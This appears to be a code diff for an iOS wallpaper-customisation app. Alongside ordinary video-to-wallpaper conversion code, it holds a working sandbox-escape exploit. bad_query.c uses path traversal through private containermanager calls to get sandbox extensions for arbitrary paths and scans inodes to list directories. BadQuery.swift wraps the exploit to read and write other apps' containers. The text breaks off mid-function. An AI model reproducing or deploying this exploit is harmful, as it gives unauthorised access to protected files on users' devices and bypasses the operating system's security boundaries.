||||
@@ -0,0 +1,279 @@
|
||||
//
|
||||
// VideoHandler.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Created by lemin on 6/8/25.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import AVFoundation
|
||||
import UIKit
|
||||
import CoreTransferable
|
||||
|
||||
extension CGImage {
|
||||
var png: Data? {
|
||||
guard let mutableData = CFDataCreateMutable(nil, 0),
|
||||
let destination = CGImageDestinationCreateWithData(mutableData, "public.png" as CFString, 1, nil) else { return nil }
|
||||
CGImageDestinationAddImage(destination, self, nil)
|
||||
guard CGImageDestinationFinalize(destination) else { return nil }
|
||||
return mutableData as Data
|
||||
}
|
||||
var jpg: Data? {
|
||||
let uiimg = UIImage(cgImage: self)
|
||||
return uiimg.jpegData(compressionQuality: 0.7)
|
||||
}
|
||||
}
|
||||
|
||||
struct Movie: Transferable {
|
||||
let url: URL
|
||||
|
||||
static var transferRepresentation: some TransferRepresentation {
|
||||
FileRepresentation(contentType: .movie) { movie in
|
||||
SentTransferredFile(movie.url)
|
||||
} importing: { received in
|
||||
let videoFolder = SymHandler.getDocumentsDirectory().appendingPathComponent("Videos", conformingTo: .directory)
|
||||
if !FileManager.default.fileExists(atPath: videoFolder.path()) {
|
||||
try? FileManager.default.createDirectory(at: videoFolder, withIntermediateDirectories: true)
|
||||
}
|
||||
let copy = videoFolder.appending(path: "\(UUID()).mp4")
|
||||
|
||||
if FileManager.default.fileExists(atPath: copy.path()) {
|
||||
try FileManager.default.removeItem(at: copy)
|
||||
}
|
||||
|
||||
try FileManager.default.copyItem(at: received.file, to: copy)
|
||||
return Self.init(url: copy)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
enum LoadState {
|
||||
case unknown, loading, loaded(Movie), failed
|
||||
}
|
||||
|
||||
struct LoadInfo: Identifiable, Equatable {
|
||||
static func == (lhs: LoadInfo, rhs: LoadInfo) -> Bool {
|
||||
lhs.id == rhs.id
|
||||
}
|
||||
|
||||
var id = UUID()
|
||||
var autoReverses: Bool = false
|
||||
var loadState: LoadState
|
||||
}
|
||||
|
||||
class VideoHandler {
|
||||
static let MaxDurationSecs = 12.0
|
||||
|
||||
static func isVideoTooLong(at url: URL) -> Bool {
|
||||
let asset = AVAsset(url: url)
|
||||
|
||||
let duration = asset.duration
|
||||
let durationTime = CMTimeGetSeconds(duration)
|
||||
|
||||
return durationTime > MaxDurationSecs
|
||||
}
|
||||
|
||||
static func createCaml(from url: URL, autoReverses: Bool) throws -> URL {
|
||||
// copy the resources
|
||||
let descrURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory)
|
||||
try FileManager.default.createDirectory(at: descrURL, withIntermediateDirectories: false)
|
||||
|
||||
print("pre resource")
|
||||
guard let rc = Bundle.main.url(forResource: "VideoCAML", withExtension: nil) else { throw URLError(.fileDoesNotExist) }
|
||||
print("post resource")
|
||||
try FileManager.default.copyItem(at: rc, to: descrURL.appendingPathComponent("videoCAML"))
|
||||
print("post copy")
|
||||
|
||||
let coreAnimDir = descrURL.appending(path: "videoCAML/versions/1/contents/9183.Custom-810w-1080h@2x~ipad.wallpaper/9183.Custom_Background-810w-1080h@2x~ipad.ca")
|
||||
let assetsFolder = coreAnimDir.appendingPathComponent("assets", conformingTo: .directory)
|
||||
if !FileManager.default.fileExists(atPath: assetsFolder.path()) {
|
||||
try FileManager.default.createDirectory(at: assetsFolder, withIntermediateDirectories: true)
|
||||
}
|
||||
|
||||
// load the video
|
||||
let asset = AVURLAsset(url: url)
|
||||
|
||||
let assetImageGenerator = AVAssetImageGenerator(asset: asset)
|
||||
assetImageGenerator.appliesPreferredTrackTransform = true
|
||||
assetImageGenerator.apertureMode = AVAssetImageGenerator.ApertureMode.encodedPixels
|
||||
|
||||
// create the caml
|
||||
guard let track = asset.tracks(withMediaType: .video).first else {
|
||||
print("Failed to get video track")
|
||||
throw AVError(.decodeFailed)
|
||||
}
|
||||
let preferredTransform = track.preferredTransform
|
||||
let size = track.naturalSize.applying(preferredTransform)
|
||||
let width = Int(abs(size.width))
|
||||
let height = Int(abs(size.height))
|
||||
let fps = track.nominalFrameRate
|
||||
let duration = CMTimeGetSeconds(asset.duration)
|
||||
let totalFrames = Int(fps * Float(duration))
|
||||
let animDur = Double(totalFrames) / Double(fps)
|
||||
var camlData = """
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<caml xmlns="http://www.apple.com/CoreAnimation/1.0">
|
||||
<CALayer allowsEdgeAntialiasing="1" allowsGroupOpacity="1" bounds="0 0 \(width) \(height)" contentsFormat="RGBA8" cornerCurve="circular" hidden="0" name="_FLOATING" position="\(Int(width/2)) \(Int(height/2))">
|
||||
<sublayers>
|
||||
<CATransformLayer allowsEdgeAntialiasing="1" allowsGroupOpacity="1" allowsHitTesting="1" bounds="0 0 \(width) \(height)" contentsFormat="RGBA8" cornerCurve="circular" name="Chip" position="\(Int(width/2)) \(Int(height/2))">
|
||||
<sublayers>
|
||||
<CALayer allowsEdgeAntialiasing="1" allowsGroupOpacity="1" bounds="0 0 \(width) \(height)" contentsFormat="RGBA8" cornerCurve="circular" name="CALayer1" position="\(Int(width/2)) \(Int(height/2))">
|
||||
<contents type="CGImage" src="assets/0.jpg"/>
|
||||
<animations>
|
||||
<animation type="CAKeyframeAnimation" calculationMode="linear" keyPath="contents" beginTime="1e-100" duration="\(animDur)" removedOnCompletion="0" repeatCount="inf" repeatDuration="0" speed="1" timeOffset="0" autoreverses="\(autoReverses ? 1 : 0)">
|
||||
<values>\n
|
||||
"""
|
||||
|
||||
// go through every frame and add it to the caml
|
||||
do {
|
||||
let reader = try AVAssetReader(asset: asset)
|
||||
let readerOutputSettings: [String: Any] = [
|
||||
kCVPixelBufferPixelFormatTypeKey as String: Int(kCVPixelFormatType_32BGRA)
|
||||
]
|
||||
|
||||
let readerOutput = AVAssetReaderTrackOutput(track: track, outputSettings: readerOutputSettings)
|
||||
reader.add(readerOutput)
|
||||
|
||||
reader.startReading()
|
||||
|
||||
var frameCount = 0
|
||||
|
||||
while let sampleBuffer = readerOutput.copyNextSampleBuffer(),
|
||||
let imageBuffer = CMSampleBufferGetImageBuffer(sampleBuffer) {
|
||||
try? autoreleasepool {
|
||||
let name = "\(frameCount).jpg"
|
||||
let filePathName = "assets/\(name)"
|
||||
UIApplication.shared.change(title: NSLocalizedString("Generating Video...", comment: ""), body: String(format: NSLocalizedString("Creating %@...", comment: "the message for the current image that is being generated"), filePathName))
|
||||
|
||||
let ciImage = CIImage(cvPixelBuffer: imageBuffer).transformed(by: preferredTransform)
|
||||
let context = CIContext()
|
||||
if let cgImage = context.createCGImage(ciImage, from: ciImage.extent) {
|
||||
if let img = cgImage.jpg {
|
||||
try img.write(to: assetsFolder.appendingPathComponent(name))
|
||||
camlData += "\t\t\t<CGImage src=\"assets/\(name)\"/>\n"
|
||||
frameCount += 1
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
} catch {
|
||||
print("Error reading asset: \(error)")
|
||||
}
|
||||
UIApplication.shared.change(title: NSLocalizedString("Generating Video...", comment: ""), body: NSLocalizedString("Creating CAML data...", comment: "translate this however you see fits"))
|
||||
|
||||
camlData += """
|
||||
</values>
|
||||
</animation>
|
||||
</animations>
|
||||
</CALayer>
|
||||
</sublayers>
|
||||
</CATransformLayer>
|
||||
</sublayers>
|
||||
<states>
|
||||
<LKState name="Locked">
|
||||
<elements/>
|
||||
</LKState>
|
||||
<LKState name="Unlock">
|
||||
<elements/>
|
||||
</LKState>
|
||||
<LKState name="Sleep">
|
||||
<elements/>
|
||||
</LKState>
|
||||
</states>
|
||||
<stateTransitions>
|
||||
<LKStateTransition fromState="*" toState="Unlock">
|
||||
<elements/>
|
||||
</LKStateTransition>
|
||||
<LKStateTransition fromState="Unlock" toState="*">
|
||||
<elements/>
|
||||
</LKStateTransition>
|
||||
<LKStateTransition fromState="*" toState="Locked">
|
||||
<elements/>
|
||||
</LKStateTransition>
|
||||
<LKStateTransition fromState="Locked" toState="*">
|
||||
<elements/>
|
||||
</LKStateTransition>
|
||||
<LKStateTransition fromState="*" toState="Sleep">
|
||||
<elements/>
|
||||
</LKStateTransition>
|
||||
<LKStateTransition fromState="Sleep" toState="*">
|
||||
<elements/>
|
||||
</LKStateTransition>
|
||||
</stateTransitions>
|
||||
</CALayer>
|
||||
</caml>
|
||||
"""
|
||||
// write the caml
|
||||
guard let caData = camlData.data(using: .utf8) else { throw URLError(.unknown) }
|
||||
try caData.write(to: coreAnimDir.appendingPathComponent("main.caml"))
|
||||
|
||||
// write the other info xml
|
||||
camlData = """
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>assetManifest</key>
|
||||
<string>assetManifest.caml</string>
|
||||
<key>documentHeight</key>
|
||||
<real>\(height)</real>
|
||||
<key>documentResizesToView</key>
|
||||
<true/>
|
||||
<key>documentWidth</key>
|
||||
<real>\(width)</real>
|
||||
<key>dynamicGuidesEnabled</key>
|
||||
<true/>
|
||||
<key>geometryFlipped</key>
|
||||
<false/>
|
||||
<key>guidesEnabled</key>
|
||||
<true/>
|
||||
<key>interactiveMouseEventsEnabled</key>
|
||||
<true/>
|
||||
<key>interactiveShowsCursor</key>
|
||||
<true/>
|
||||
<key>interactiveTouchEventsEnabled</key>
|
||||
<false/>
|
||||
<key>loopEnd</key>
|
||||
<real>0.0</real>
|
||||
<key>loopStart</key>
|
||||
<real>0.0</real>
|
||||
<key>loopingEnabled</key>
|
||||
<false/>
|
||||
<key>multitouchDisablesMouse</key>
|
||||
<false/>
|
||||
<key>multitouchEnabled</key>
|
||||
<false/>
|
||||
<key>presentationMouseEventsEnabled</key>
|
||||
<true/>
|
||||
<key>presentationShowsCursor</key>
|
||||
<true/>
|
||||
<key>presentationTouchEventsEnabled</key>
|
||||
<false/>
|
||||
<key>rootDocument</key>
|
||||
<string>main.caml</string>
|
||||
<key>savesWindowFrame</key>
|
||||
<false/>
|
||||
<key>scalesToFitInPlayer</key>
|
||||
<true/>
|
||||
<key>showsTouches</key>
|
||||
<true/>
|
||||
<key>snappingEnabled</key>
|
||||
<true/>
|
||||
<key>timelineMarkers</key>
|
||||
<string>[(null)]</string>
|
||||
<key>touchesColor</key>
|
||||
<string>1 1 0 0.8</string>
|
||||
<key>unitsInPixelsInPlayer</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
"""
|
||||
|
||||
guard let xmlData = camlData.data(using: .utf8) else { throw URLError(.unknown) }
|
||||
try xmlData.write(to: coreAnimDir.appendingPathComponent("index.xml", conformingTo: .xml))
|
||||
|
||||
return descrURL
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
//
|
||||
// APIError.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Created by lemin on 7/15/25.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
|
||||
enum APIError: LocalizedError {
|
||||
// Throw when cannot connect to server
|
||||
case connectionFailed
|
||||
|
||||
// Throw when it fails to get the repo hash
|
||||
case repoHashError
|
||||
|
||||
// Throw in all other cases
|
||||
case unexpected(info: String)
|
||||
|
||||
public var errorDescription: String? {
|
||||
switch self {
|
||||
case .connectionFailed:
|
||||
return NSLocalizedString("Could not connect to server", comment: "")
|
||||
case .repoHashError:
|
||||
return NSLocalizedString("Unable to obtain repo hash. Maybe update to the latest version?", comment: "")
|
||||
case .unexpected(let info):
|
||||
return info
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
//
|
||||
// ApplyError.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Created by lemin on 6/18/25.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
|
||||
enum ApplyError: LocalizedError {
|
||||
// Throw when the app hash is incorrect
|
||||
case wrongAppHash
|
||||
|
||||
// Throw when the collections need to be reset
|
||||
case collectionsNeedsReset
|
||||
|
||||
// Throw in all other cases
|
||||
case unexpected(info: String)
|
||||
|
||||
public var errorDescription: String? {
|
||||
switch self {
|
||||
case .wrongAppHash:
|
||||
return NSLocalizedString("Your app hash is incorrect. Please set it again.", comment: "")
|
||||
case .collectionsNeedsReset:
|
||||
return NSLocalizedString("The folder is improperly set up. Please tap \"Reset Collections\" and try again.", comment: "")
|
||||
case .unexpected(let info):
|
||||
return info
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,282 @@
|
||||
//
|
||||
// BadQuery.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Swift wrapper around forcequitOS/bad_query sandbox escape
|
||||
// (container_query path traversal via MobileGestalt SystemGroup).
|
||||
// Supports iOS 26.0 – 26.6.1 / 27.0b4+.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
|
||||
enum BadQueryError: LocalizedError {
|
||||
case invalidPath
|
||||
case missingPath
|
||||
case resolveFailed
|
||||
case createFailed
|
||||
case outsideSandbox
|
||||
case kernelRejected
|
||||
case asprintfFailed
|
||||
case unknown(Int64)
|
||||
case listFailed
|
||||
case containerNotFound(String)
|
||||
|
||||
var errorDescription: String? {
|
||||
switch self {
|
||||
case .invalidPath:
|
||||
return "Path must be absolute."
|
||||
case .missingPath:
|
||||
return "Target path does not exist."
|
||||
case .resolveFailed:
|
||||
return "Failed to resolve containermanager symbols."
|
||||
case .createFailed:
|
||||
return "Failed to create container query."
|
||||
case .outsideSandbox:
|
||||
return "Path is outside containermanager sandbox."
|
||||
case .kernelRejected:
|
||||
return "Kernel refused to issue a sandbox extension."
|
||||
case .asprintfFailed:
|
||||
return "Failed to build path traversal string."
|
||||
case .unknown(let code):
|
||||
return "bad_query failed with code \(code)."
|
||||
case .listFailed:
|
||||
return "Failed to enumerate containers (fsgetpath)."
|
||||
case .containerNotFound(let bundleId):
|
||||
return "Could not find container for \(bundleId)."
|
||||
}
|
||||
}
|
||||
|
||||
static func from(code: Int64) -> BadQueryError {
|
||||
switch code {
|
||||
case -255: return .invalidPath
|
||||
case -254: return .missingPath
|
||||
case -1: return .resolveFailed
|
||||
case -2: return .createFailed
|
||||
case -3: return .outsideSandbox
|
||||
case -4: return .kernelRejected
|
||||
case -5: return .asprintfFailed
|
||||
default: return .unknown(code)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// RAII-style sandbox extension handle.
|
||||
final class BadQueryHandle {
|
||||
private(set) var handle: Int64
|
||||
let path: String
|
||||
|
||||
init(handle: Int64, path: String) {
|
||||
self.handle = handle
|
||||
self.path = path
|
||||
}
|
||||
|
||||
deinit {
|
||||
release()
|
||||
}
|
||||
|
||||
func release() {
|
||||
guard handle >= 0 else { return }
|
||||
bad_query_release(handle)
|
||||
handle = -1
|
||||
}
|
||||
}
|
||||
|
||||
enum BadQuery {
|
||||
/// PosterBoard / related bundle identifiers.
|
||||
static let posterBoardBundleId = "com.apple.PosterBoard"
|
||||
static let carPlayWallpaperBundleId = "com.apple.CarPlayWallpaper"
|
||||
|
||||
// MARK: - Availability
|
||||
|
||||
/// True when the MobileGestalt system-group query route resolves symbols.
|
||||
/// Cheap probe: only checks dlsym path by attempting a known-existing system path with create=true.
|
||||
static var isAvailable: Bool {
|
||||
// Probe with a path that should always exist on device; create=true skips lstat
|
||||
// so we only fail if symbols/query plumbing is broken (patched OS).
|
||||
let probe = "/var/mobile"
|
||||
var cPath = probe.utf8CString.map { Int8($0) }
|
||||
let result = bad_query(&cPath, true, nil, false)
|
||||
if result >= 0 {
|
||||
bad_query_release(result)
|
||||
return true
|
||||
}
|
||||
// -3/-4 mean query ran but path/token failed; symbols still work
|
||||
if result == -3 || result == -4 || result == -254 {
|
||||
return true
|
||||
}
|
||||
// -1/-2 = symbols/query broken
|
||||
return result != -1 && result != -2
|
||||
}
|
||||
|
||||
// MARK: - Consume / Release
|
||||
|
||||
/// Obtain a sandbox extension for an absolute path.
|
||||
/// - Parameters:
|
||||
/// - path: Absolute filesystem path
|
||||
/// - create: If true, skip existence check (use when lstat is blocked by sandbox)
|
||||
/// - groupIdentifier: Optional app group; nil uses MobileGestalt SystemGroup (iOS 27 preferred)
|
||||
/// - isGroup: iOS 26 App Group flag route
|
||||
@discardableResult
|
||||
static func consume(
|
||||
path: String,
|
||||
create: Bool = false,
|
||||
groupIdentifier: String? = nil,
|
||||
isGroup: Bool = false
|
||||
) throws -> BadQueryHandle {
|
||||
guard path.hasPrefix("/") else { throw BadQueryError.invalidPath }
|
||||
|
||||
var cPath = path.utf8CString.map { Int8($0) }
|
||||
let handle: Int64
|
||||
if let group = groupIdentifier {
|
||||
var cGroup = group.utf8CString.map { Int8($0) }
|
||||
handle = bad_query(&cPath, create, &cGroup, isGroup)
|
||||
} else {
|
||||
handle = bad_query(&cPath, create, nil, isGroup)
|
||||
}
|
||||
|
||||
guard handle >= 0 else {
|
||||
// Retry with create=true if existence check failed under sandbox
|
||||
if !create && handle == -254 {
|
||||
return try consume(path: path, create: true, groupIdentifier: groupIdentifier, isGroup: isGroup)
|
||||
}
|
||||
throw BadQueryError.from(code: handle)
|
||||
}
|
||||
return BadQueryHandle(handle: handle, path: path)
|
||||
}
|
||||
|
||||
// MARK: - Listing
|
||||
|
||||
/// Enumerate immediate children under `path` via fsgetpath inode scan.
|
||||
static func list(path: String, maxInode: Int64 = 2_000_000) throws -> [String] {
|
||||
var cPath = path.utf8CString.map { Int8($0) }
|
||||
guard let raw = bad_query_list(&cPath, maxInode) else {
|
||||
throw BadQueryError.listFailed
|
||||
}
|
||||
defer { free(raw) }
|
||||
let str = String(cString: raw)
|
||||
return str
|
||||
.split(whereSeparator: \.isNewline)
|
||||
.map(String.init)
|
||||
.filter { !$0.isEmpty }
|
||||
}
|
||||
|
||||
// MARK: - Container discovery
|
||||
|
||||
private static let metadataFileName = ".com.apple.mobile_container_manager.metadata.plist"
|
||||
|
||||
/// Read MCMMetadataIdentifier from a container root, using bad_query for access.
|
||||
static func readBundleId(fromContainerPath containerPath: String) -> String? {
|
||||
let metaPath = (containerPath as NSString).appendingPathComponent(metadataFileName)
|
||||
guard let token = try? consume(path: metaPath, create: true) else { return nil }
|
||||
defer { token.release() }
|
||||
|
||||
guard let dict = NSDictionary(contentsOfFile: metaPath) as? [String: Any] else {
|
||||
// Some layouts use a non-hidden name
|
||||
let alt = (containerPath as NSString).appendingPathComponent("com.apple.mobile_container_manager.metadata.plist")
|
||||
if let altToken = try? consume(path: alt, create: true) {
|
||||
defer { altToken.release() }
|
||||
if let d = NSDictionary(contentsOfFile: alt) as? [String: Any] {
|
||||
return d["MCMMetadataIdentifier"] as? String
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
return dict["MCMMetadataIdentifier"] as? String
|
||||
}
|
||||
|
||||
/// Find application container UUID for a bundle identifier (on-device, no PC).
|
||||
static func findAppHash(bundleId targetBundleId: String, searchRoots: [String]? = nil) throws -> String {
|
||||
let roots = searchRoots ?? [
|
||||
"/var/mobile/Containers/Data/Application",
|
||||
"/var/mobile/Containers/Data/InternalDaemon",
|
||||
"/var/mobile/Containers/Data/PluginKitPlugin"
|
||||
]
|
||||
|
||||
for root in roots {
|
||||
let children: [String]
|
||||
do {
|
||||
children = try list(path: root)
|
||||
} catch {
|
||||
continue
|
||||
}
|
||||
|
||||
for child in children {
|
||||
let uuid = (child as NSString).lastPathComponent
|
||||
// Normalize to the root we know
|
||||
let containerPath = "\(root)/\(uuid)"
|
||||
if let id = readBundleId(fromContainerPath: containerPath), id == targetBundleId {
|
||||
return uuid
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
throw BadQueryError.containerNotFound(targetBundleId)
|
||||
}
|
||||
|
||||
static func findPosterBoardHash() throws -> String {
|
||||
try findAppHash(bundleId: posterBoardBundleId)
|
||||
}
|
||||
|
||||
static func findCarPlayHash() throws -> String {
|
||||
try findAppHash(bundleId: carPlayWallpaperBundleId)
|
||||
}
|
||||
|
||||
// MARK: - Path helpers
|
||||
|
||||
static func applicationContainerPath(appHash: String) -> String {
|
||||
"/var/mobile/Containers/Data/Application/\(appHash)"
|
||||
}
|
||||
|
||||
static func descriptorsPath(appHash: String, ext: String) -> String {
|
||||
let ver = SymHandler.getExtensionVersion()
|
||||
return applicationContainerPath(appHash: appHash)
|
||||
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions/\(ext)/descriptors"
|
||||
}
|
||||
|
||||
static func carPlayCachePath(appHash: String) -> String {
|
||||
applicationContainerPath(appHash: appHash)
|
||||
+ "/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
|
||||
}
|
||||
|
||||
// MARK: - File ops under extension
|
||||
|
||||
/// Copy a directory or file into `destinationDirectory` (must already be accessible via handle).
|
||||
static func copyItem(at source: URL, intoDestinationDirectory destDir: String, named name: String? = nil) throws {
|
||||
let destName = name ?? source.lastPathComponent
|
||||
let destURL = URL(fileURLWithPath: destDir).appendingPathComponent(destName)
|
||||
let fm = FileManager.default
|
||||
if fm.fileExists(atPath: destURL.path) {
|
||||
try fm.removeItem(at: destURL)
|
||||
}
|
||||
try fm.copyItem(at: source, to: destURL)
|
||||
}
|
||||
|
||||
/// Ensure a directory exists at path while holding a parent extension if needed.
|
||||
static func ensureDirectory(at path: String) throws {
|
||||
let fm = FileManager.default
|
||||
if fm.fileExists(atPath: path) { return }
|
||||
|
||||
// Walk up to find an existing ancestor we can open, then create intermediates
|
||||
let components = path.split(separator: "/").map(String.init)
|
||||
var built = ""
|
||||
var lastExisting = ""
|
||||
for part in components {
|
||||
built += "/" + part
|
||||
if fm.fileExists(atPath: built) {
|
||||
lastExisting = built
|
||||
}
|
||||
}
|
||||
|
||||
if lastExisting.isEmpty {
|
||||
// Get extension on the full path with create=true and mkdir
|
||||
let handle = try consume(path: path, create: true)
|
||||
defer { handle.release() }
|
||||
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
|
||||
return
|
||||
}
|
||||
|
||||
let handle = try consume(path: lastExisting, create: true)
|
||||
defer { handle.release() }
|
||||
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
//
|
||||
// Pocket-Poster-Bridging-Header.h
|
||||
// Pocket Poster
|
||||
//
|
||||
// Exposes C exploit helpers to Swift.
|
||||
//
|
||||
|
||||
#import "bad_query.h"
|
||||
#import "xpc_crash.h"
|
||||
@@ -0,0 +1,183 @@
|
||||
//
|
||||
// bad_query.c
|
||||
// bad_query
|
||||
//
|
||||
// Created by Taj C on 7/21/26.
|
||||
//
|
||||
|
||||
#include "bad_query.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <dlfcn.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <sys/stat.h>
|
||||
#include <xpc/xpc.h>
|
||||
|
||||
#include <sys/mount.h>
|
||||
#include <sys/fsgetpath.h>
|
||||
|
||||
typedef void *(*container_query_create_fn)(void);
|
||||
typedef void (*container_query_set_class_fn)(void *, uint64_t);
|
||||
typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t);
|
||||
typedef void (*container_query_set_flags_fn)(void *, uint64_t);
|
||||
typedef void (*container_query_set_part_fn)(void *, uint64_t);
|
||||
typedef void (*container_query_set_part_domain_fn)(void *, const char *);
|
||||
typedef void *(*container_query_get_single_result_fn)(void *);
|
||||
typedef void (*container_query_free_fn)(void *);
|
||||
typedef char *(*container_copy_sandbox_token_fn)(void *);
|
||||
typedef int64_t (*sandbox_extension_consume_fn)(const char *);
|
||||
typedef int (*sandbox_extension_release_fn)(int64_t);
|
||||
|
||||
int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group) {
|
||||
// Sanity check our path and check if something already exists there
|
||||
if (!path || path[0] != '/') return -255; // Not an absolute path
|
||||
if (!create) {
|
||||
struct stat st;
|
||||
if (lstat(path, &st) != 0) return -254; // File is missing, so we'll return
|
||||
}
|
||||
|
||||
// Now the fun begins
|
||||
void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL);
|
||||
if (!mgr) return -1; // Failed to dlopen
|
||||
|
||||
// Resolve functions
|
||||
container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create");
|
||||
container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class");
|
||||
container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers");
|
||||
container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags");
|
||||
container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part");
|
||||
container_query_set_part_domain_fn query_set_part_domain = (container_query_set_part_domain_fn)dlsym(mgr, "container_query_operation_set_part_domain");
|
||||
container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result");
|
||||
container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free");
|
||||
container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token");
|
||||
sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume");
|
||||
|
||||
int64_t handle = -1;
|
||||
if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_set_part_domain || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) {
|
||||
dlclose(mgr);
|
||||
return -1; // Failed to resolve a function
|
||||
}
|
||||
|
||||
// Create query
|
||||
void *query = query_create();
|
||||
if (!query) {
|
||||
dlclose(mgr);
|
||||
return -2; // Failed to create query
|
||||
}
|
||||
|
||||
// Set up query
|
||||
// Two routes here, supply an App Group you control (to access other App Groups on iOS 26) or don't, and use MobileGestalt's SystemGroup as a target instead. If targeting iOS 26 and trying to access App Groups, also set is_group to true to use the correct flags.
|
||||
xpc_object_t identifier;
|
||||
if (group_identifier == NULL) {
|
||||
query_set_class(query, 13); // Class 13 (MCMSharedSystemDataContainer) routes to containermanagerd_system
|
||||
identifier = xpc_string_create("systemgroup.com.apple.mobilegestaltcache");
|
||||
} else {
|
||||
query_set_class(query, 7); // Class 7 (MCMSharedDataContainer) routes to containermanagerd
|
||||
identifier = xpc_string_create(group_identifier);
|
||||
}
|
||||
query_set_group_identifiers(query, identifier);
|
||||
query_set_part(query, 3); // Part determines our starting point, part 3 is Library/Caches
|
||||
char *part = NULL;
|
||||
// Oldest trick in the book. Basic path traversal.
|
||||
if (group_identifier == NULL) {
|
||||
if (asprintf(&part, "../../../../../../../..%s", path) != -1) {
|
||||
query_set_part_domain(query, part);
|
||||
} else {
|
||||
xpc_release(identifier);
|
||||
query_free(query);
|
||||
dlclose(mgr);
|
||||
return -5; // asprintf failed for some reason
|
||||
}
|
||||
} else {
|
||||
// We have to go one level higher to get to / from an App Group
|
||||
if (asprintf(&part, "../../../../../../../../..%s", path) != -1) {
|
||||
query_set_part_domain(query, part);
|
||||
} else {
|
||||
xpc_release(identifier);
|
||||
query_free(query);
|
||||
dlclose(mgr);
|
||||
return -5; // Same thing
|
||||
}
|
||||
}
|
||||
|
||||
// To access App Groups on iOS 26, you have to use different flags, this doesn't apply on 27
|
||||
if (is_group) {
|
||||
query_set_flags(query, 0x0000000800000000ULL);
|
||||
} else {
|
||||
query_set_flags(query, 0x0000008000000000ULL);
|
||||
}
|
||||
|
||||
// Send our query over
|
||||
void *result = query_get_single_result(query);
|
||||
if (!result) {
|
||||
free(part);
|
||||
xpc_release(identifier);
|
||||
query_free(query);
|
||||
dlclose(mgr);
|
||||
return -3; // Outside of sandbox
|
||||
}
|
||||
char *token = copy_sandbox_token(result);
|
||||
if (!token) {
|
||||
free(part);
|
||||
xpc_release(identifier);
|
||||
query_free(query);
|
||||
dlclose(mgr);
|
||||
return -4; // Kernel refused to issue a sandbox extension
|
||||
}
|
||||
|
||||
// Consume our fresh sandbox extension and clean up
|
||||
handle = consume_extension(token);
|
||||
free(token);
|
||||
free(part);
|
||||
xpc_release(identifier);
|
||||
query_free(query);
|
||||
|
||||
dlclose(mgr);
|
||||
return handle;
|
||||
}
|
||||
|
||||
void bad_query_release(int64_t handle) {
|
||||
if (handle < 0) return;
|
||||
sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release");
|
||||
if (release_extension) release_extension(handle);
|
||||
}
|
||||
|
||||
// This still works on 27.0b5
|
||||
// I'm including it here because it's very useful in the context of this sandbox escape, which can't access parent directories (most of the time)
|
||||
// This enumerates all directories in a given path, so you can, for example, get all container UUIDs, read their container metadata to get their bundle ID, and derive that entirely on-device without a computer
|
||||
char *bad_query_list(char *path, int64_t max_inode) {
|
||||
struct statfs sfs;
|
||||
// Prefer the target path; fall back to known on-volume roots if sandboxed
|
||||
if (statfs(path, &sfs) != 0) {
|
||||
if (statfs("/private/var", &sfs) != 0 && statfs("/var", &sfs) != 0) {
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
fsid_t fsid = sfs.f_fsid;
|
||||
|
||||
size_t cap = 65536;
|
||||
size_t length = 0;
|
||||
size_t path_length = strlen(path);
|
||||
|
||||
char *out = malloc(cap);
|
||||
if (!out) return NULL;
|
||||
out[0] = '\0';
|
||||
|
||||
char buf[1200];
|
||||
for (uint64_t ino = 1; ino <= max_inode; ino++) {
|
||||
